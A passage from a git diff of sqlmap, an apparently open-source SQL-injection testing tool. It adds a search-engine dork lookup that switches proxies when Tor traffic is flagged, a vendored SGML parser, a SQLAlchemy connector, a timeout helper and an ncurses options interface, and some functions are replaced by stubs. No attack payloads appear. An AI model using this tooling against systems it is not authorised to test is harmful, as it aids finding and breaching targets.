ex.headers.get("Content-Type")) + except socket.timeout: + warnMsg = "connection timed out while trying " + warnMsg += "to get error page information (%d)" % ex.code + logger.critical(warnMsg) + return None + except: + errMsg = "unable to connect" + raise SqlmapConnectionException(errMsg) + + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + + retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] + + if not retVal and "issue with the Tor Exit Node you are currently using" in page: + warnMsg = "DuckDuckGo has detected 'unusual' traffic from " + warnMsg += "used (Tor) IP address" + + if conf.proxyList: + raise SqlmapBaseException(warnMsg) + else: + logger.critical(warnMsg) + + return retVal + +@stackedmethod +def search(dork): + pushValue(kb.choices.redirect) + kb.choices.redirect = REDIRECTION.YES + + try: + return _search(dork) + except SqlmapBaseException as ex: + if conf.proxyList: + logger.critical(getSafeExString(ex)) + + warnMsg = "changing proxy" + logger.warning(warnMsg) + + conf.proxy = None + + setHTTPHandlers() + return search(dork) + else: + raise + finally: + kb.choices.redirect = popValue() + +def setHTTPHandlers(): # Cross-referenced function + raise NotImplementedError diff --git a/lib/utils/sgmllib.py b/lib/utils/sgmllib.py new file mode 100644 index 00000000000..afcdff95314 --- /dev/null +++ b/lib/utils/sgmllib.py @@ -0,0 +1,574 @@ +"""A parser for SGML, using the derived class as a static DTD.""" + +# Note: missing in Python3 + +# XXX This only supports those SGML features used by HTML. + +# XXX There should be a way to distinguish between PCDATA (parsed +# character data -- the normal case), RCDATA (replaceable character +# data -- only char and entity references and end tags are special) +# and CDATA (character data -- only end tags are special). RCDATA is +# not supported at all. + +from __future__ import print_function + +try: + import _markupbase as markupbase +except: + import markupbase + +import re + +__all__ = ["SGMLParser", "SGMLParseError"] + +# Regular expressions used for parsing + +interesting = re.compile('[&<]') +incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' + '<([a-zA-Z][^<>]*|' + '/([a-zA-Z][^<>]*)?|' + '![^<>]*)?') + +entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') +charref = re.compile('&#([0-9]+)[^0-9]') + +starttagopen = re.compile('<[>a-zA-Z]') +shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') +shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') +piclose = re.compile('>') +endbracket = re.compile('[<>]') +tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') +attrfind = re.compile( + r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' + r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') + + +class SGMLParseError(RuntimeError): + """Exception raised for all parse errors.""" + pass + + +# SGML parser base class -- find tags and call handler functions. +# Usage: p = SGMLParser(); p.feed(data); ...; p.close(). +# The dtd is defined by deriving a class which defines methods +# with special names to handle tags: start_foo and end_foo to handle +# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. +# (Tags are converted to lower case for this purpose.) The data +# between tags is passed to the parser by calling self.handle_data() +# with some data as argument (the data may be split up in arbitrary +# chunks). Entity references are passed by calling +# self.handle_entityref() with the entity reference as argument. + +class SGMLParser(markupbase.ParserBase): + # Definition of entities -- derived classes may override + entity_or_charref = re.compile('&(?:' + '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' + ')(;?)') + + def __init__(self, verbose=0): + """Initialize and reset this instance.""" + self.verbose = verbose + self.reset() + + def reset(self): + """Reset this instance. Loses all unprocessed data.""" + self.__starttag_text = None + self.rawdata = '' + self.stack = [] + self.lasttag = '???' + self.nomoretags = 0 + self.literal = 0 + markupbase.ParserBase.reset(self) + + def setnomoretags(self): + """Enter literal mode (CDATA) till EOF. + + Intended for derived classes only. + """ + self.nomoretags = self.literal = 1 + + def setliteral(self, *args): + """Enter literal mode (CDATA). + + Intended for derived classes only. + """ + self.literal = 1 + + def feed(self, data): + """Feed some data to the parser. + + Call this as often as you want, with as little or as much text + as you want (may include '\n'). (This just saves the text, + all the processing is done by goahead().) + """ + + self.rawdata = self.rawdata + data + self.goahead(0) + + def close(self): + """Handle the remaining data.""" + self.goahead(1) + + def error(self, message): + raise SGMLParseError(message) + + # Internal -- handle data as far as reasonable. May leave state + # and data to be processed by a subsequent call. If 'end' is + # true, force handling all data as if followed by EOF marker. + def goahead(self, end): + rawdata = self.rawdata + i = 0 + n = len(rawdata) + while i < n: + if self.nomoretags: + self.handle_data(rawdata[i:n]) + i = n + break + match = interesting.search(rawdata, i) + if match: + j = match.start() + else: + j = n + if i < j: + self.handle_data(rawdata[i:j]) + i = j + if i == n: + break + if rawdata[i] == '<': + if starttagopen.match(rawdata, i): + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + k = self.parse_starttag(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("</", i): + k = self.parse_endtag(i) + if k < 0: + break + i = k + self.literal = 0 + continue + if self.literal: + if n > (i + 1): + self.handle_data("<") + i = i + 1 + else: + # incomplete + break + continue + if rawdata.startswith("<!--", i): + # Strictly speaking, a comment is --.*-- + # within a declaration tag <!...>. + # This should be removed, + # and comments handled only in parse_declaration. + k = self.parse_comment(i) + if k < 0: + break + i = k + continue + if rawdata.startswith("<?", i): + k = self.parse_pi(i) + if k < 0: + break + i = i + k + continue + if rawdata.startswith("<!", i): + # This is some sort of declaration; in "HTML as + # deployed," this should only be the document type + # declaration ("<!DOCTYPE html...>"). + k = self.parse_declaration(i) + if k < 0: + break + i = k + continue + elif rawdata[i] == '&': + if self.literal: + self.handle_data(rawdata[i]) + i = i + 1 + continue + match = charref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_charref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + match = entityref.match(rawdata, i) + if match: + name = match.group(1) + self.handle_entityref(name) + i = match.end(0) + if rawdata[i - 1] != ';': + i = i - 1 + continue + else: + self.error('neither < nor & ??') + # We get here only if incomplete matches but + # nothing else + match = incomplete.match(rawdata, i) + if not match: + self.handle_data(rawdata[i]) + i = i + 1 + continue + j = match.end(0) + if j == n: + break # Really incomplete + self.handle_data(rawdata[i:j]) + i = j + # end while + if end and i < n: + self.handle_data(rawdata[i:n]) + i = n + self.rawdata = rawdata[i:] + # XXX if end: check for empty stack + + # Extensions for the DOCTYPE scanner: + _decl_otherchars = '=' + + # Internal -- parse processing instr, return length or -1 if not terminated + def parse_pi(self, i): + rawdata = self.rawdata + if rawdata[i:i + 2] != '<?': + self.error('unexpected call to parse_pi()') + match = piclose.search(rawdata, i + 2) + if not match: + return -1 + j = match.start(0) + self.handle_pi(rawdata[i + 2: j]) + j = match.end(0) + return j - i + + def get_starttag_text(self): + return self.__starttag_text + + # Internal -- handle starttag, return length or -1 if not terminated + def parse_starttag(self, i): + self.__starttag_text = None + start_pos = i + rawdata = self.rawdata + if shorttagopen.match(rawdata, i): + # SGML shorthand: <tag/data/ == <tag>data</tag> + # XXX Can data contain &... (entity or char refs)? + # XXX Can data contain < or > (tag characters)? + # XXX Can there be whitespace before the first /? + match = shorttag.match(rawdata, i) + if not match: + return -1 + tag, data = match.group(1, 2) + self.__starttag_text = '<%s/' % tag + tag = tag.lower() + k = match.end(0) + self.finish_shorttag(tag, data) + self.__starttag_text = rawdata[start_pos:match.end(1) + 1] + return k + # XXX The following should skip matching quotes (' or ") + # As a shortcut way to exit, this isn't so bad, but shouldn't + # be used to locate the actual end of the start tag since the + # < or > characters may be embedded in an attribute value. + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + # Now parse the data between i + 1 and j into a tag and attrs + attrs = [] + if rawdata[i:i + 2] == '<>': + # SGML shorthand: <> == <last open tag seen> + k = j + tag = self.lasttag + else: + match = tagfind.match(rawdata, i + 1) + if not match: + self.error('unexpected call to parse_starttag') + k = match.end(0) + tag = rawdata[i + 1:k].lower() + self.lasttag = tag + while k < j: + match = attrfind.match(rawdata, k) + if not match: + break + attrname, rest, attrvalue = match.group(1, 2, 3) + if not rest: + attrvalue = attrname + else: + if (attrvalue[:1] == "'" == attrvalue[-1:] or + attrvalue[:1] == '"' == attrvalue[-1:]): + # strip quotes + attrvalue = attrvalue[1:-1] + attrvalue = self.entity_or_charref.sub( + self._convert_ref, attrvalue) + attrs.append((attrname.lower(), attrvalue)) + k = match.end(0) + if rawdata[j] == '>': + j = j + 1 + self.__starttag_text = rawdata[start_pos:j] + self.finish_starttag(tag, attrs) + return j + + # Internal -- convert entity or character reference + def _convert_ref(self, match): + if match.group(2): + return self.convert_charref(match.group(2)) or \ + '&#%s%s' % match.groups()[1:] + elif match.group(3): + return self.convert_entityref(match.group(1)) or \ + '&%s;' % match.group(1) + else: + return '&%s' % match.group(1) + + # Internal -- parse endtag + def parse_endtag(self, i): + rawdata = self.rawdata + match = endbracket.search(rawdata, i + 1) + if not match: + return -1 + j = match.start(0) + tag = rawdata[i + 2:j].strip().lower() + if rawdata[j] == '>': + j = j + 1 + self.finish_endtag(tag) + return j + + # Internal -- finish parsing of <tag/data/ (same as <tag>data</tag>) + def finish_shorttag(self, tag, data): + self.finish_starttag(tag, []) + self.handle_data(data) + self.finish_endtag(tag) + + # Internal -- finish processing of start tag + # Return -1 for unknown tag, 0 for open-only tag, 1 for balanced tag + def finish_starttag(self, tag, attrs): + try: + method = getattr(self, 'start_' + tag) + except AttributeError: + try: + method = getattr(self, 'do_' + tag) + except AttributeError: + self.unknown_starttag(tag, attrs) + return -1 + else: + self.handle_starttag(tag, method, attrs) + return 0 + else: + self.stack.append(tag) + self.handle_starttag(tag, method, attrs) + return 1 + + # Internal -- finish processing of end tag + def finish_endtag(self, tag): + if not tag: + found = len(self.stack) - 1 + if found < 0: + self.unknown_endtag(tag) + return + else: + if tag not in self.stack: + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + self.unknown_endtag(tag) + else: + self.report_unbalanced(tag) + return + found = len(self.stack) + for i in range(found): + if self.stack[i] == tag: + found = i + while len(self.stack) > found: + tag = self.stack[-1] + try: + method = getattr(self, 'end_' + tag) + except AttributeError: + method = None + if method: + self.handle_endtag(tag, method) + else: + self.unknown_endtag(tag) + del self.stack[-1] + + # Overridable -- handle start tag + def handle_starttag(self, tag, method, attrs): + method(attrs) + + # Overridable -- handle end tag + def handle_endtag(self, tag, method): + method() + + # Example -- report an unbalanced </...> tag. + def report_unbalanced(self, tag): + if self.verbose: + print('*** Unbalanced </' + tag + '>') + print('*** Stack:', self.stack) + + def convert_charref(self, name): + """Convert character reference, may be overridden.""" + try: + n = int(name) + except ValueError: + return + if not 0 <= n <= 127: + return + return self.convert_codepoint(n) + + def convert_codepoint(self, codepoint): + return chr(codepoint) + + def handle_charref(self, name): + """Handle character reference, no need to override.""" + replacement = self.convert_charref(name) + if replacement is None: + self.unknown_charref(name) + else: + self.handle_data(replacement) + + # Definition of entities -- derived classes may override + entitydefs = \ + {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} + + def convert_entityref(self, name): + """Convert entity references. + + As an alternative to overriding this method; one can tailor the + results by setting up the self.entitydefs mapping appropriately. + """ + table = self.entitydefs + if name in table: + return table[name] + else: + return + + def handle_entityref(self, name): + """Handle entity references, no need to override.""" + replacement = self.convert_entityref(name) + if replacement is None: + self.unknown_entityref(name) + else: + self.handle_data(replacement) + + # Example -- handle data, should be overridden + def handle_data(self, data): + pass + + # Example -- handle comment, could be overridden + def handle_comment(self, data): + pass + + # Example -- handle declaration, could be overridden + def handle_decl(self, decl): + pass + + # Example -- handle processing instruction, could be overridden + def handle_pi(self, data): + pass + + # To be overridden -- handlers for unknown objects + def unknown_starttag(self, tag, attrs): + pass + + def unknown_endtag(self, tag): + pass + + def unknown_charref(self, ref): + pass + + def unknown_entityref(self, ref): + pass + + +class TestSGMLParser(SGMLParser): + + def __init__(self, verbose=0): + self.testdata = "" + SGMLParser.__init__(self, verbose) + + def handle_data(self, data): + self.testdata = self.testdata + data + if len(repr(self.testdata)) >= 70: + self.flush() + + def flush(self): + data = self.testdata + if data: + self.testdata = "" + print('data:', repr(data)) + + def handle_comment(self, data): + self.flush() + r = repr(data) + if len(r) > 68: + r = r[:32] + '...' + r[-32:] + print('comment:', r) + + def unknown_starttag(self, tag, attrs): + self.flush() + if not attrs: + print('start tag: <' + tag + '>') + else: + print('start tag: <' + tag, end=' ') + for name, value in attrs: + print(name + '=' + '"' + value + '"', end=' ') + print('>') + + def unknown_endtag(self, tag): + self.flush() + print('end tag: </' + tag + '>') + + def unknown_entityref(self, ref): + self.flush() + print('*** unknown entity ref: &' + ref + ';') + + def unknown_charref(self, ref): + self.flush() + print('*** unknown char ref: &#' + ref + ';') + + def unknown_decl(self, data): + self.flush() + print('*** unknown decl: [' + data + ']') + + def close(self): + SGMLParser.close(self) + self.flush() + + +def test(args=None): + import sys + + if args is None: + args = sys.argv[1:] + + if args and args[0] == '-s': + args = args[1:] + klass = SGMLParser + else: + klass = TestSGMLParser + + if args: + file = args[0] + else: + file = 'test.html' + + if file == '-': + f = sys.stdin + else: + try: + f = open(file, 'r') + except IOError as msg: + print(file, ":", msg) + sys.exit(1) + + data = f.read() + if f is not sys.stdin: + f.close() + + x = klass() + for c in data: + x.feed(c) + x.close() + + +if __name__ == '__main__': + test() diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py new file mode 100644 index 00000000000..7506b42a79f --- /dev/null +++ b/lib/utils/sqlalchemy.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import importlib +import logging +import os +import re +import sys +import traceback +import warnings + +_path = list(sys.path) +_sqlalchemy = None +try: + sys.path = sys.path[1:] + module = importlib.import_module("sqlalchemy") + if hasattr(module, "dialects"): + _sqlalchemy = module + warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) +except: + pass +finally: + sys.path = _path + +try: + import MySQLdb # used by SQLAlchemy in case of MySQL + warnings.filterwarnings("error", category=MySQLdb.Warning) +except (ImportError, AttributeError): + pass + +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapMissingDependence +from plugins.generic.connector import Connector as GenericConnector +from thirdparty import six +from thirdparty.six.moves import urllib as _urllib + +def getSafeExString(ex, encoding=None): # Cross-referenced function + raise NotImplementedError + +class SQLAlchemy(GenericConnector): + def __init__(self, dialect=None): + GenericConnector.__init__(self) + + self.dialect = dialect + self.address = conf.direct + + if conf.dbmsUser: + self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + + if conf.dbmsPass: + self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + + if self.dialect: + self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) + + def connect(self): + if _sqlalchemy: + self.initConnection() + + try: + if not self.port and self.db: + if not os.path.exists(self.db): + raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) + + _ = self.address.split("//", 1) + self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) + + if self.dialect == "sqlite": + engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) + elif self.dialect == "oracle": + engine = _sqlalchemy.create_engine(self.address) + else: + engine = _sqlalchemy.create_engine(self.address, connect_args={}) + + self.connector = engine.connect() + except (TypeError, ValueError): + if "_get_server_version_info" in traceback.format_exc(): + try: + import pymssql + if int(pymssql.__version__[0]) < 2: + raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) + except ImportError: + pass + elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): + raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") + else: + pass + except SqlmapFilePathException: + raise + except Exception as ex: + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) + + self.printConnected() + else: + raise SqlmapMissingDependence("SQLAlchemy not available (e.g. 'pip%s install SQLAlchemy')" % ('3' if six.PY3 else "")) + + def fetchall(self): + try: + retVal = [] + for row in self.cursor.fetchall(): + retVal.append(tuple(row)) + return retVal + except _sqlalchemy.exc.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + # Reference: https://stackoverflow.com/a/69491015 + if hasattr(_sqlalchemy, "text"): + query = _sqlalchemy.text(query) + + try: + self.cursor = self.connector.execute(query) + retVal = True + except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except _sqlalchemy.exc.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index a78ff3a4d77..0b252547e00 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,32 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import threading from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import TIMEOUT_STATE -def timeout(func, args=(), kwargs={}, duration=1, default=None): +def timeout(func, args=None, kwargs=None, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.result = None + self.timeout_state = None def run(self): try: - self.result = func(*args, **kwargs) - except Exception, msg: - logger.log(7, msg) + self.result = func(*(args or ()), **(kwargs or {})) + self.timeout_state = TIMEOUT_STATE.NORMAL + except Exception as ex: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, ex) self.result = default + self.timeout_state = TIMEOUT_STATE.EXCEPTION thread = InterruptableThread() thread.start() thread.join(duration) - if thread.isAlive(): - return default + if thread.is_alive(): + return default, TIMEOUT_STATE.TIMEOUT else: - return thread.result + return thread.result, thread.timeout_state diff --git a/lib/utils/tui.py b/lib/utils/tui.py new file mode 100644 index 00000000000..d785e5f7673 --- /dev/null +++ b/lib/utils/tui.py @@ -0,0 +1,768 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import subprocess +import sys +import tempfile + +try: + import curses +except ImportError: + curses = None + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import IS_WIN +from thirdparty.six.moves import configparser as _configparser + +class NcursesUI: + def __init__(self, stdscr, parser): + self.stdscr = stdscr + self.parser = parser + self.current_tab = 0 + self.current_field = 0 + self.scroll_offset = 0 + self.tabs = [] + self.fields = {} + self.running = False + self.process = None + + # Initialize colors + curses.start_color() + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header + curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab + curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab + curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field + curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text + curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important + curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label + + # Setup curses + curses.curs_set(1) + self.stdscr.keypad(1) + + # Parse option groups + self._parse_options() + + def _parse_options(self): + """Parse command line options into tabs and fields""" + for group in self.parser.option_groups: + tab_data = { + 'title': group.title, + 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", + 'options': [] + } + + for option in group.option_list: + field_data = { + 'dest': option.dest, + 'label': self._format_option_strings(option), + 'help': option.help if option.help else "", + 'type': option.type if hasattr(option, 'type') and option.type else 'bool', + 'value': '', + 'default': defaults.get(option.dest) if defaults.get(option.dest) else None + } + tab_data['options'].append(field_data) + self.fields[(group.title, option.dest)] = field_data + + self.tabs.append(tab_data) + + def _format_option_strings(self, option): + """Format option strings for display""" + parts = [] + if hasattr(option, '_short_opts') and option._short_opts: + parts.extend(option._short_opts) + if hasattr(option, '_long_opts') and option._long_opts: + parts.extend(option._long_opts) + return ', '.join(parts) + + def _draw_header(self): + """Draw the header bar""" + height, width = self.stdscr.getmaxyx() + header = " sqlmap - ncurses TUI " + self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, header.center(width)) + self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) + + def _get_tab_bar_height(self): + """Calculate how many rows the tab bar uses""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % tab['title'] + + # Check if tab exceeds width, wrap to next line + if x + len(tab_text) >= width: + y += 1 + x = 0 + # Stop if we've used too many lines + if y >= 3: + break + + x += len(tab_text) + 1 + + return y + + def _draw_tabs(self): + """Draw the tab bar""" + height, width = self.stdscr.getmaxyx() + y = 1 + x = 0 + + for i, tab in enumerate(self.tabs): + tab_text = " %s " % tab['title'] + + # Check if tab exceeds width, wrap to next line + if x + len(tab_text) >= width: + y += 1 + x = 0 + # Stop if we've used too many lines + if y >= 3: + break + + if i == self.current_tab: + self.stdscr.attron(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(3)) + + try: + self.stdscr.addstr(y, x, tab_text) + except: + pass + + if i == self.current_tab: + self.stdscr.attroff(curses.color_pair(2) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(3)) + + x += len(tab_text) + 1 + + def _draw_footer(self): + """Draw the footer with help text""" + height, width = self.stdscr.getmaxyx() + footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " + + try: + self.stdscr.attron(curses.color_pair(1)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)) + self.stdscr.attroff(curses.color_pair(1)) + except: + pass + + def _draw_current_tab(self): + """Draw the current tab content""" + height, width = self.stdscr.getmaxyx() + tab = self.tabs[self.current_tab] + + # Calculate tab bar height + tab_bar_height = self._get_tab_bar_height() + start_y = tab_bar_height + 1 + + # Clear content area + for y in range(start_y, height - 1): + try: + self.stdscr.addstr(y, 0, " " * width) + except: + pass + + y = start_y + + # Draw description if exists + if tab['description']: + desc_lines = self._wrap_text(tab['description'], width - 4) + for line in desc_lines[:2]: # Limit to 2 lines + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 2, line) + self.stdscr.attroff(curses.color_pair(5)) + y += 1 + except: + pass + y += 1 + + # Draw options + visible_start = self.scroll_offset + visible_end = visible_start + (height - y - 2) + + for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start): + if y >= height - 2: + break + + is_selected = (i == self.current_field) + + # Draw label + label = option['label'][:25].ljust(25) + try: + if is_selected: + self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) + else: + self.stdscr.attron(curses.color_pair(7)) + + self.stdscr.addstr(y, 2, label) + + if is_selected: + self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + else: + self.stdscr.attroff(curses.color_pair(7)) + except: + pass + + # Draw value + value_str = "" + if option['type'] == 'bool': + value = option['value'] if option['value'] is not None else option.get('default') + value_str = "[X]" if value else "[ ]" + else: + value_str = str(option['value']) if option['value'] else "" + if option['default'] and not option['value']: + value_str = "(%s)" % str(option['default']) + + value_str = value_str[:30] + + try: + if is_selected: + self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) + self.stdscr.addstr(y, 28, value_str) + if is_selected: + self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + except: + pass + + # Draw help text + if width > 65: + help_text = option['help'][:width-62] if option['help'] else "" + try: + self.stdscr.attron(curses.color_pair(5)) + self.stdscr.addstr(y, 60, help_text) + self.stdscr.attroff(curses.color_pair(5)) + except: + pass + + y += 1 + + # Draw scroll indicator + if len(tab['options']) > visible_end - visible_start: + try: + self.stdscr.attron(curses.color_pair(6)) + self.stdscr.addstr(height - 2, width - 10, "[More...]") + self.stdscr.attroff(curses.color_pair(6)) + except: + pass + + def _wrap_text(self, text, width): + """Wrap text to fit within width""" + words = text.split() + lines = [] + current_line = "" + + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += word + " " + else: + if current_line: + lines.append(current_line.strip()) + current_line = word + " " + + if current_line: + lines.append(current_line.strip()) + + return lines + + def _edit_field(self): + """Edit the current field""" + tab = self.tabs[self.current_tab] + if self.current_field >= len(tab['options']): + return + + option = tab['options'][self.current_field] + + if option['type'] == 'bool': + # Toggle boolean + option['value'] = not option['value'] + else: + # Text input + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "Value:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + # Pre-fill with existing value + current_value = str(option['value']) if option['value'] else "" + input_win.addstr(2, 9, current_value) + input_win.move(2, 9) + + try: + new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') + + # Validate and convert based on type + if option['type'] == 'int': + try: + option['value'] = int(new_value) if new_value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(new_value) if new_value else None + except ValueError: + option['value'] = None + else: + option['value'] = new_value if new_value else None + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _export_config(self): + """Export current configuration to a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Export Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename: + # Collect all field values + config = {} + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for option in self.parser.option_list: + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + # Save config + try: + saveConfig(config, filename) + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Export Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Configuration exported to:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Export Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _import_config(self): + """Import configuration from a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Import Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename and os.path.isfile(filename): + try: + # Read config file + config = _configparser.ConfigParser() + config.read(filename) + + imported_count = 0 + + # Load values into fields + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + + # Search for option in all sections + for section in config.sections(): + if config.has_option(section, dest): + value = config.get(section, dest) + + # Convert based on type + if option['type'] == 'bool': + option['value'] = value.lower() in ('true', '1', 'yes', 'on') + elif option['type'] == 'int': + try: + option['value'] = int(value) if value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(value) if value else None + except ValueError: + option['value'] = None + else: + option['value'] = value if value else None + + imported_count += 1 + break + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Import Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Imported %d options from:" % imported_count) + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Import Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, 